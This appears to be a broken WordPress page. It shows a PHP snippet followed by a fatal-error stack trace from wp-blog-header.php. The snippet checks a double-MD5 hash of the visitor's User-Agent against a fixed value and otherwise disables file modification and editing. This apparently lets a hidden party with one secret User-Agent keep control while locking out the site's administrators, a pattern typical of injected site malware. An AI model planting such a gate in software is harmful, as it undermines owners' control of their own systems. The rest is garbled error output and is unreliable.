if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){
    define('DISALLOW_FILE_MODS', true);
    define('DISALLOW_FILE_EDIT', true);
}
<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function wp() in /home/claudiotorce.it/public_html/wp-blog-header.php:16
Stack trace:
#0 /home/claudiotorce.it/public_html/index.php(17): require()
#1 {main}
  thrown in <b>/home/claudiotorce.it/public_html/wp-blog-header.php</b> on line <b>16</b><br />